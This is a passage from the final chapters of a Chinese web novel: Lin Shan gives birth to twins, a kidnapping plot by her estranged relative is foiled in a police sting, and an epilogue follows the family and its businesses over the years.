所有人都听乐了，林珊笑道：“妈，好啦，您求老天爷保佑我的东西也太多了。” 又是平安健康顺利生产，又是一儿一女凑个好的，还要两个孩子将来聪明伶俐、英俊美丽，成大才的。老天爷都快忙晕了。 贺正岩低头笑了，他只求大人孩子都平安健康。 姜春荣却非常喜欢赵桂花的祝福，“妹妹说得好！来，咱们走一个！” 四人碰杯，林珊以水带酒，看着电视里的春晚，她突然意识到明年这个时候，家里就会多出两个小娃娃了，想到肉乎乎的小奶娃，她的心瞬间就融化了。 虽然她怀孕还不到四个月，贺正岩已经把家里的客房都给孩子们布置好了。床褥什么都是双份儿的，孩子的小衣服赵桂花说要亲自做，不过她非要等过一阵儿确认孩子们的性别后再开始。 女孩儿就用粉色的，男孩儿就用蓝色的。 姜春荣不会做衣服，但是她表示可以学，正好桂花女士喜欢当老师，人家两姐妹一拍即合，连一块儿做衣服的日期都靠好了。 贺正岩的二叔和姑姑知道林珊怀孕之后，寄了一大推补品过来，还一个劲儿地告诉她，想吃什么都管够。 贺振华就更不用说了，自从知道林珊怀了孕，隔三差五就得给贺正岩打个电话问问情况。 林珊感受到全家人满满的爱，虽然从得知有可能是双胞胎到现在才一个多月，但她已经慢慢适应自己肚子里有两个孩子的事了。 春节过后，林珊一返工就要开始忙碌。 公司的年度目标要规划，一些需要做主的事情也得赶紧提前做好准备，不过好在都不需要她亲自跑来跑去，毕竟各部门的主管已经都可以独当一面了。 安河“华耀”那边第一次盖的小区，虽然大多数都卖给了员工，但是那外销的32套房也赚 了不少，盈利完全够再拍一块儿地皮。 林珊把这事交给了赵福，其实只要有人、有资金，公司愿意出的底线又摆在那儿，这种工作还是非常好做的。 食品厂今年就不出新品了，继续巩固和拓宽辣椒酱和下饭菜的市场就够了。去年他们增加了新的便携包装之后，销量又猛增了许多，今年只要保障好现有产品的品质就可以完成绩效目标。 “红珊”那边，近两年已经不需要再做电视广告了，只要每年把春夏和秋冬这两季的画册和海报做好就可以了，到时候去时尚杂志上投放一些广告，请胡敏拍拍封面就可以了。 去年“红珊”在华中地区开了三家门店，华南开了两家店，圆满完成目标。今年计划稍微放缓一些，最多开两家就可以了。毕竟目前全国的省会城市，也都开得快差不多了。 开店小分队今年的主要任务，是帮助男装品牌“正朔”开店。 “正朔”今年需要大力推广，不管是电视还是纸媒都要继续安排上。直营店方面，今年计划最少开设三家店，地点分别在粤城、沪市和苏市。 另外粤城那边的皮革厂发展迅猛，林珊计划今年让公司的设计师们设计一些皮鞋和皮包，给工厂代工试试。如果品质好，以后皮包就可以加入“红珊”的主营项目。 毕竟提起奢侈品，很多人的第一反应就是包包。 安排好自家公司的一系列事情，林珊还要跟深城的“荣发”那边开个大股东会议。 进军粤城不是小事儿，虽然雷生金的大本营就在那儿，而且郭广发也算是半个粤城人，但毕竟是“荣发”在那边的第一个大项目，还是要非常慎重的。而且现在公司已经上市，稍微一个不小心，都会影响到股价。 去年林珊提议粤城盖别墅区，大家都同意了。“荣发”走得是高端路线，别墅应当规划进来，而且粤城的有钱人实在是太多了，根本不用发愁销路。 雷生金有粤城未来的规划图，知道哪些地方将来要干什么，再加上林珊知道后世哪些区贵，哪些区是所谓的“富人区”，所以地皮拍得那是相当精准。 盖别墅大家虽然没有经验，但是工程不会比盖办公大楼难，只要请到好设计师，严控工程质量，做好“荣发”标志性的物业服务，基本就没什么大问题了。 日子一天一天过，林珊的肚子也慢慢起来了。 四个半月的时候，产检时医生告诉她，肚子里怀的是对龙凤胎，这可把全家人都高兴坏了，赵桂花笑得合不拢嘴，一直说老天爷听见了她的祈福。 贺振华激动地特地去院子走了一圈，遇见个老伙计就跟人说自己要当爷爷了，儿媳妇怀的是龙凤胎！周秘书在一旁看着都忍不住偷笑。 贺正岩就更不用说了，夜里非要帮林珊抹她从港城买的护肤油，明明肚子才隆起那么一点儿，他就跟立马要当爸爸了似的，一边给肚子擦油一边傻笑。 “这么开心啊？”林珊笑话他。 贺正岩乐：“嗯，我虽然结婚晚，但是孩子比他们多一个啊！而且还是儿女双全。诶，你掐我一下，让我看看是不是做梦。” 林珊听话地掐了他一下，笑着问：“疼吗？” “不疼，但是我知道这不是做梦。”贺正岩乐着说完，收好护肤油把她的衣服放下，将人紧紧地搂进怀里，“我现在觉得我的命是真好。” 林珊笑了声来，“你才感觉出来啊。” “嗯。”贺正岩低头亲她，轻抚着她的小脸儿，满足地叹了口气。这天底下的确是没有比他更幸运的人了。 八月份的时候，林珊迎来了预产期。 全家人齐聚医院等她生产，贺正岩紧张地在走廊上踱步，人看着都有点儿虚脱了。赵桂花也没比他好到哪儿去，一直双手合十地拜各路神仙。 其他人都比他俩冷静，虽然也担心，但是这毕竟是在军区医院，而且又是做好的大夫，肯定会顺顺利利的。 双胞胎的生产比普通的要久一些，不过林珊比较幸运，孩子们胎位都比较正，难度和时间都减少了很多。 从进手术室到完成自然分娩，只用了四十多分钟，护士就推开病房门宣告母子平安。 两个娃娃都非常健康，哥哥4斤2两，妹妹4斤整。别看俩人个头小，精神头却挺足。林珊也没有什么特别不舒服的情况，虽然很疲惫，但看着两个皱皱巴巴的小婴儿，心里说不出的满足，感觉自己完成了一件特别伟大的事。 贺正岩忍不住亲吻林珊的额头，替她擦了擦脸颊和脖子上的汗，他知道她怀孕后期有多辛苦，生孩子简直就等于是在鬼门关走了一遭，现在见她累成这样，他只想好好抱抱她，亲亲她。 “我没事儿。”林珊笑了，感觉他看着也像生了一回孩子似的。 贺正岩没说话，只是握着她的手又亲了一下。 赵桂花抱着孩子在一旁看着，很为闺女开心，男的不在于有多大本事，最关键的是知道心疼媳妇儿。像正岩这样又有大本事又知道心疼媳妇儿的，实在很难得。 姜春荣跟医生聊完注意事项后，想进拐病房，就瞧见贺振华急匆匆地朝这边走来。 “不是说有大会吗？”她问。 贺振华笑道：“开完就赶过来了，怎么样？” “母子平安，兄妹俩都很健康。”姜春荣边说边把他领进病房。 贺振华按捺住激动的心情，先是问候了林珊一遍，见她的确精神不错，这才看向闭着眼睛不知道是在睡觉还是在干嘛的两个小婴儿。 贺振华不敢抱，只敢纯看，脸上的笑止都止不住，实在是太开心了，他不但是第一次当爷爷，还是第一次见这么小的龙凤胎，痴痴地看了半天，蹦出一句“真好”。 所有人都笑了，看的出爷爷是真得很高兴。 第179章 第179章 猎狗行动 龙凤胎的名字在确定性别后, 贺振华就给取好名字了。 哥哥叫贺凡宇，妹妹叫贺凡诗。 林珊跟贺正岩都挺喜欢的，这两个名字做大名很好, 小名他们夫妻俩一商量，就取了一个豆豆和丁丁。两个孩子生下来都只有那么豆大点儿, 叫起来非常形象，听着也挺可爱的。 豆豆跟丁丁出生的第二天晚上, 就跟着爸爸妈妈回家了。 林珊的产后状况良好，达到出院标准后, 一家人当晚就收拾好所有的东西, 把她送回家坐月子了。 贺正岩请来家里帮忙的人是他的表姑，不仅带孩子很有一手, 还会煲各种汤, 以前在贺老爷子家帮过忙, 跟贺正岩非常熟，几乎把他当成了自己儿子在疼。 八月底坐月子其实还是很难受的, 不但天气炎热, 还得跟老一辈儿, 尤其是赵桂花讲道理。坐月子是可以吹空调的，只要不照着直吹，保证屋里的温度不太凉，根本就没有问题。 反而有人会因为夏天坐月子给热死了。澡也能洗，只要不吹风别着凉, 什么都不耽误。 林珊加上姜春荣两个人, 给赵桂花讲了半天科学道理，才让她稍微妥协了一些。表姑虽然不懂这种新式的坐月子方法，但是她听文化人的, 也知道确实有人热死过。 赵桂花见这件事上是三对一，唠叨了两天也就不再说话了，而且她瞧着闺女确实也没啥不舒服的，每天都精神抖擞，奶也足，孩子养得也好，就稍微放下一点儿心。 林珊这个月子吃得好睡得好，没热着也没脏着。家里帮忙的人手多，亲妈和表姑天天在，姜春荣和林红也总来看她，再加上贺正岩一直在边儿上嘘寒问暖的，整个月子期她跟孩子们都过得很好。 豆豆跟丁丁真的是一天一个样，等出月子的时候，兄妹俩已经是出落得超级可爱了。林珊跟贺正岩都特别喜欢孩子，天天看着自己的宝宝们睡觉，心里都觉得美滋滋的。 兄妹俩的满月酒和百天儿，全家人一致决定只办百日宴。一来孩子稍微大点儿了，二来也能让亲戚朋友少跑一趟。满月那天就最亲的家人在一块儿给孩子们简单办了一桌，拍了几张照片作纪念。 百日宴的时候，林珊跟贺正岩在宾馆定的桌，不能光收人家的红包，不给好饭吃。 豆豆跟丁丁比满月的时候还要可爱，白白胖胖的，特别好看，两孩子并排往婴儿车里一坐，把 前来参宴的亲朋好友们都迷得不要不要的。 兄妹俩也不认生，一直好奇地看着大家，沈丹一逗他们，妹妹咯咯咯就笑了起来，哥哥看妹妹笑，瞬间也跟着哈哈笑。 大家都被逗得合不拢嘴，直夸实在是太招人喜欢了。 昊昊当了哥哥后，特别有模有样，今天人多，他听爸爸讲过拐小孩儿的故事，怕弟弟妹妹被人抱走，就一直守在婴儿车边上陪他俩玩儿。吃饭的时候林珊给他夹了个最爱的大鸡腿，昊昊也是一边吃，一边不忘看着弟弟妹妹。 林珊感动坏了，忍不住抱着他亲了一口，“真不愧是我的小昊昊！” 昊昊觉得自己长大了，被小姨当着这么多人的面儿亲，有点儿不好意思，红着小脸蛋跟林珊小声抗议：“小姨，你以后不要在外面亲我了。” 林珊也压低声音，“那在家亲行不行？” 昊昊想了想，“行。” 林珊哈哈乐，桌上的人也都被他逗笑了。双胞胎听不懂，但是见大家笑，居然也跟着傻乐起来。现场一时间充满了欢声笑语，赵桂花赶紧拿起她的傻瓜照相机，把这一幕给拍了下来。 林珊家这边幸福快乐，同一天，远在粤城的林兰却非常不爽。 今天是她出狱的日子，林爱军弄了一桌菜来为她洗尘，结果林兰吃着吃着就开始又哭又骂，一会儿说起自己在里头吃了多少苦，一会儿嫌弃屋子破，一会儿又恨起了林珊不但事业越来越好，而且还生了个龙凤胎！ 凭什么她吃了那么多苦，现在只能窝在这小黑屋里生活，那个贱人却可以飞上枝头变凤凰！ 林爱军也恨，“那咱到底该怎么做，不能眼睁睁看着那小贱货天天享福吧！” 林兰冷哼一声，“她想得美！我之前跟你说过的那个丽姐，她哥是个真正的狠人，丽姐已经答应要帮我了，咱明天就去找她。” “粤城人？”林爱军怕粤城人不敢得罪雷生金。 “不是，只是在这边儿做买卖。” 次日，林兰带着亲哥按照丽姐给的地址找到了她。丽姐跟林珊是一个号儿的，俩人这两年几乎无话不谈，丽姐对林兰的事儿一清二楚，知道她想报复谁。 丽姐上个月出来后就她哥说了详细说了这个事儿，龙哥跟他过命的两个兄弟都觉得这买卖必须干，一个丫头片子这么有钱，把她绑了要个几百万，大家就都发达了。 林兰带着林爱军找上门后，几人一拍即合，一个由身上背着很多事儿的龙哥作为总指挥，林兰作为副指挥的犯罪团伙就诞生了。 龙哥不愧是干过大事儿的人，他把林珊的全部产业都了解了一遍后，立刻决定带着所有人集体赴京。 接下来的日子，他跟他的两个兄弟每天跟踪林珊一家人的行动轨迹。半个月后，他摸出了绑架林珊的最佳路径——那条从京市通往安河的国道。 林珊在京市的时候，出入都有司机保镖，部队大院儿和分局家属院儿，他们进不去也不敢进，只有国道人烟稀少，随便弄个小事故，不愁拦不下她的车。 林兰非常欣赏这个计划，并且龙哥还答应她在拿到赎金后，一定会折磨够林珊再撕票。 林爱军虽然也觉得这计划挺好，但就怕万一有个什么差池，到时候他们都得掉脑袋。不过他这个担忧，在看见龙哥跟他的兄弟们亮出作案的工具之后，就彻底打消了。果然是专业的，居然连枪都有！ 现在万事俱备，就只等着林珊跟她那保镖兼司机开车回安河了。保镖再厉害，也比不上枪的，甭说她经常只带一个人，就是一车人，也拦不住他们。 龙哥一行人在京市好吃好喝地等着林珊出行，终于在12月21号那天，目标车辆缓缓出动了。 确认车上就是林珊和杨国福之后，龙哥便开着偷来的小轿车上了国道，他们一车人，一路悄悄尾随着林珊的车辆。 跟踪人龙哥很有一手，一路一直隔着两辆车这么开，直到驶过路边的村庄，来到他事先踩好点儿的小树林，这才一个超车，正式跟在了林珊的车后头。 跟着龙哥一个猛踩油门，“咣当”一声撞在了前车尾巴上，然后不等林珊那边有任何反应，他们一行人飞速持枪蹦下车，朝着前车车胎就是一枪。 当龙哥绕到车前门，正准备拿枪放倒杨国福时，一阵刺耳的警鸣声突然响彻四周，好几台警车飞速窜出树林，朝案发现场冲来，与此同时，车里“林珊”的枪口，早已经对准了龙哥。 后车厢里也突然冒出来两个公安同志，把枪口对准了龙哥外头的同伙。 一时间枪声四起，龙哥受伤逃窜的同时仍不忘回头开枪，他向来秉持着“我死了也得拉几个垫背的”思想，他的两个同伙跟他心有灵犀，同样一边跑一边开枪。可惜两人运气不好，一个刚跑出去两米就被当场击毙，一个则跑了五米后挨了枪子。 龙哥的运气稍微好一些，跑出去十几米后，一抬头，发现周围全是荷枪实弹的武警。他仰天大笑，当场就就要了结自己，可惜被武警同志一枪崩掉了手里的枪，想死都死不成。 龙哥被狠狠地按倒在地上，嘴上疯狂咒骂着公安同志，浑身上下都是血和土，仿佛一只得了疯病的狂犬。 远在京市的林兰眼皮子一直狂跳，正准备出去透透气，一开门整个人瞬间窒息，满院儿的公安枪口一个个都对着她，吓得她裤子都湿了，整个人不受控制地出溜到地上，瘫在那儿一动不动。 屋里的丽姐和林爱军不明所以，往门外一看，瞬间也都吓得目瞪口呆，丽姐举起双手做投降状，林爱军则跟她妹一样，直接出溜到了地上。 整个行动兵分两路，不到半天时间，市公安局就圆满完成了任务，将犯罪嫌疑人全数缉拿归案。 林珊收到消息之后，总算松了口气，杨国福没事儿，公安同志们也没有人受伤，这已经是最好的结局了。两个歹徒被当场击毙，可想而知当时的情况有多危险。 要不是林珊一直派人在暗中监视着林爱军，对林兰的一举一动都非常清楚，这次恐怕真的会栽在她手里。 从林兰在牢里跟谁关系比较密切，到她出狱后跟龙哥兄妹俩的接触，再到这帮人一块儿进京，雷家人都监视的清清楚楚。 亡命徒集体上京，意味着什么不言而喻，林珊跟贺正岩立刻报警，所以就有了这个将计就计的“猎狗行动”。 虽然知道那帮人死的死，被抓的被抓，贺正岩却还是后怕得不行，要不是一直有人监视着林爱军，今天哭的、发疯的就会是他。 他把人紧紧地搂在怀里，恨不得拿刀剐了那帮畜生，“以后去哪儿都得多带人，听见没有？” 林珊乖乖地点头，“知道了，我以后会更注意的。” 贺正岩亲了亲她，看了看两个睡得正香的孩子，彻底体会到“软肋”是什么意思了。他好不容易才娶到家的老婆，好不容易才得来的儿女，是他用尽一切要来守护一生的人。 谁要是动他们，他一定亲手宰了他。 第180章 正文完结 第180章 第180章 正文完结 严打期间持枪绑架他人是死罪一条, 林兰一伙人的结局是自找的。 林珊这边的生活渐渐恢复正常，全面升级各方面的安保之后，贺正岩才放心她出去办事, 虽然她现在隔三差五才会回公司开个会，平时基本都在家。 贺振华也是相当担心儿媳妇的安全, 亲自打电话到公安那儿问了一下案情进展，还跟他们的领导聊了一会儿怎么保障人民生命财产安全的问题。 林珊知道大家都担心她, 但其实理性分析，那帮人盯了那么久, 最终选择了国道那边作案, 说明她在京市的安保是没什么问题的。 不是她心大，而是人真得不能被吓死。有钱人这么多, 除非是有私仇, 不然人家没必要非盯着她。外头多得是钱多, 防范又少的大款。 身边人紧绷的 神经，随着日子一天天过去, 也慢慢放松了下来。 林珊除了极少数决策性的工作, 基本都沉迷在养孩子当中。豆豆和丁丁一天一个样, 她现在也跟赵桂花似的，天天拿着相机帮兄妹俩拍照。 哥哥个性稳重，妹妹活泼可爱，俩人最近整天咿咿呀呀的，想学说话了。 哥哥第一声“妈妈”叫出来的时候, 可把林珊高兴坏了, 贺正岩羡慕得不行，一个劲儿教俩孩子喊“爸爸”，最后妹妹也不知道是不是烦了, 脆生生地嚷出来一声“爸爸”来。 贺正岩瞬间激动地抱起孩子扔高高玩儿，妹妹扔完，扔哥哥，搞得兄妹俩笑得嘎嘎咕咕，气儿都有点喘不上来了。 八月份的时候，孩子们迎来了一岁生日。贺振华在贺老爷子的房子里给孩子们办了个小型生日宴，一家人围着桌子吃吃喝喝，除了张秀英，所有人都特别开心。 豆豆跟丁丁现在说话越来越溜了，一见爷爷就扑过去让抱抱举高高，还一口一个“爷爷”的叫着，贺振华的心都快酥了，笑得合不拢嘴，直接一口气抱起两个胖娃娃耍。 赵桂花偷偷笑着跟姜春荣说：“我前姐夫不怕闪着腰啊。” 姜春荣一下没忍住，乐出声来，“你呀，嘴巴不饶人。” 贺正岩刚好在俩人身后，听见她们对老父亲的揶揄，也忍不住笑了。豆豆丁丁出生之后，父亲只要一有时间就会来家里看孩子们，还经常买一些小玩具来逗他们玩儿。 贺正岩还跟林珊纳闷过，他小的时候，父亲虽然也疼，但是真没这么夸张。 林珊笑着说：“隔辈亲吧，还有一点也可能是爸把孩子们当成小时候的你了，想通过对他们好，来弥补他觉得亏欠你的地方。” 贺正岩现在越想，越觉得这话很有道理。 “笑什么呢？”林珊把水杯递给贺正岩，他最近有点儿感冒，还老不爱喝水。 贺正岩接过水杯喝了两口，把赵桂花刚才的话说给她听，林珊笑道：“我妈这张嘴哟，你是没见她当年骂人的场面，一个脏字不带，骂得林富贵一家不敢出门。整条胡同就没有敢惹她的。” 贺正岩笑了一下，握住林珊的手，“你们娘仨以前受苦了。”如果不是日子难过，谁会想去骂街。家里没有男人，女同志们如果不泼辣点儿，有的是被欺负的时候。 林珊回握着他的手，心里软乎乎的，再次觉得自己嫁对了人。从认识到现在这么多年了，贺正岩从来没让她失望过，结婚之后比婚前还要好，对她百般呵护，对家庭极其负责。 求婚的时候他说要一辈子对她好，不让她难过，林珊以前信，现在更信。因为他真的是用实际行动，在履行自己的承诺。 “爱你哦老公。”她趁大家都在忙，忍不住小声表白了一下。 贺正岩愣了一下，随即开心地笑了，跟着趁人不注意搂住林珊的腰，低头亲了她一口。 十一月的时候，“华耀”的第二个楼盘项目正式竣工，这次照旧是员工优先，错过第一批房子的员工这次终于如愿了。外销的那一部分更是大受欢迎。 有了之前项目的口碑，现在外头的人都知道，“华耀”的房子不仅质量硬、格局好，而且小区管理得也特别好。想买“华耀”的房子，还得托关系找人才能抢到。 “正朔”经过猛烈的推广攻势，现在已经是全国男装界的头一把交椅，京市更是人多到开设了第二家门店来分流。 “红珊”就更不用说了，直营店已经遍布全国主要省会城市，皮包和皮鞋大受欢迎，单利润已经快超过服装了。 服装厂那边需要扩大场地，林珊今年在粤城买下了一块儿地，准备盖个更加现代的大型服装厂。 辣椒酱和下饭菜，已经晋升为全国酱菜市场的销量冠军，食品公司为安河贡献的GDP，位居私企首位，仅次于安河的钢厂和电厂。 粤城那边的别墅也已经全面竣工，有钱的老板们在预售还没开始的时候，就已经提前定下好几套了，更别提看完沙盘和整个工程质量之后，大家都立刻抢着付款。 林珊现在的生活是60%放在家庭上，40%放在公司上面，相信再过几年的话，她就能实现躺平自由了。 一年又一年，一切都在向前发展。 95年的时候，“华耀”在安河建设了第一家私营百货大楼，宣告着公司正式进入攻占全国非一线城市商场的阶段。 同年“华耀”迁入京市，并拍下了一块儿地皮建设集团总部。 安河的食品厂再度扩建，不仅极大程度带动了当地经济，还吸收了大量国营厂的下岗职工。 除了“林爱国”这个品牌，公司还创建了一个子品牌“真好味”，专做咸味零食。各种肉卤、素卤、还有后世风靡小孩儿圈的辣条。产品类别琳琅满目，味道更是一绝。 短短两年时间，“真好味”的销量就直逼“林爱国”。 “林爱国”那边还是要继续做辣酱和下饭菜，等以后速冻技术和冷链物流上来之后，包子馄饨这些速冻食品才能打开销路。 96年3月份，阿英正式创建了以她自己命名的品牌“ying”，专攻年轻时尚市场，设计风格更为大胆潮流，跟“红珊”的优雅干练有着很明显的区别。 次年，“红珊”集团跟行业其他大拿一起合作，创立了属于本国的国际时装周，地点定在京市。 “红珊”、“正朔”、“ying”，全部参加，并获得了时装设计“金顶奖”、最佳时装设计师、新锐设计师以及金剪奖等荣誉。 模特冯晓丽获得了最佳职业时装模特，刘飞获得十佳职业时装模特。 这一届时装周，可以说是“红珊”集团的时尚元年。 阿英作为最佳时装设计师，每天都要接受很多电视采访，远在粤城的雷生金抱着小外孙女笑得合不拢嘴，“看见没，这是你妈妈，以后阿芙也要像妈妈那么厉害，好不好？” 阿芙催生生地说：“好！” 98年北方有洪水，林珊捐款20万用来救助灾民。除了救灾，她还常年向希望工程捐款。科研和国防建设也没有少出力，钱多数是直接通过就姜春荣和贺正岩捐出去的。 她是先富起来的那一批人，理应做出自己的贡献。 进入二十一世纪后，非一线城市的房地产市场迎来了春天。“华耀”凭借早年的铺盘，很快占领了巨大的市场份额。 “荣发”在攻占粤城及南方省会城市后，拍下了沪市的城中心地带，正式启动超级豪宅项目。集团目前位居全国房地产市场的龙头位置，股票节节攀升。 郭广发改行做起了电器商城的生意，雷生金开起了百货大楼。 林珊早在94年全国正式全功能接入互联网之后，就开始投资互联网企业了。后世那些大企业，她基本都有份参股。有的是以公司名义，有的是个人名义。 2000年后，各分公司的事情林珊就不参与经营了。除了做决策，基本都是在寻找投资项目。“华耀”有自己的投资公司，现在运营得已经相当成熟了。 不仅本土市场精通，港城和海外市场也一样熟练操作。 豆豆丁丁已经8岁了，兄妹俩异卵不仅长相不同，性格也完全不同。哥哥爱看书、爱学习，妹妹爱体育活动、爱看电视、爱跟人闲聊……只要是能不写作业，她什么都喜欢。 林珊跟贺正岩都不是逼孩子的那种家长，有时候看着丁丁写个作业跟磨洋工似的，两人都忍不住乐。 每个孩子都有自己的脾气性格，不能照着一个模子养，要用最适合他们的方法才行。 现在他们已经不住在结婚时的房子里了，“荣发”在京市盖了别墅，林珊跟林红都要了一套。现在两家挨着，孩子们天天聚在一块儿玩儿，经常晚饭都是一起吃的。 赵桂花两天住林珊这儿，两天住林红那儿，还时不时跟着姜春荣出去郊个游，小日子别提多舒坦了。 贺正岩步步高升，可不管再怎么升，对家里的责任依然没有减少一分。02年他被调往汉北省军区，林珊和孩子陪他在汉北呆了五年，才重新回到京市。 她的宗旨很简单，一家人不要分居两地。孩子们成长的过程中，爸爸不参与不合适，留贺正岩一个人在汉北，他们也不舍得。 而且作为军属，要有军属的思想觉悟。 贺正岩任期结束被调回京市后，再度高升，林珊一家搬进了他分的大房子里，豆豆丁丁对大院儿的生活比外头更适应，尤其是丁丁，天天玩儿的找不到人。 十五岁的大姑娘了，还跟个孩子似的，朋友遍天下。豆豆成绩好，今年已经通过竞赛进入了清大读书。这孩子跟奶奶最有聊头，日常最喜欢的活动就是去逛姜春荣的实验室。 贺振华对俩孩子是从小疼到了大，时不时就把孩子们叫过去住几天，享享天伦之乐。 贺启明毕业后留在了美国，还娶了个白人姑娘，生了一儿一女，贺振华每次打电话过去，必是先臭骂他一顿，然后再跟混血小孙子和小孙女说说话。 张秀英退休之后就去美国找儿子了，只有过年的时候才回来一两个礼拜。贺振华对此完全没意见。 时光一直流逝，变化每时每刻都在发生。 林珊看着镜子里的自己，不禁感慨岁月如梭，刚记得她才十八岁，现在孩子们都上大学了。 贺正岩给她端了杯水，还顺手揉了揉她的脑袋，“快来睡。” 林珊笑了，这么多年他的习惯都没改，还总把她当成小姑娘似的。 “刚才笑什么？”贺正岩抱住林珊，准备入睡。 她拨了拨他的头发，轻声说：“笑你好看，这个年纪仍然英俊潇洒。” 贺正岩乐了，看着明艳照人，一点儿看不出年纪的媳妇儿，低头吻了上去。 生命如歌，岁月待我们不薄。 ——正文完——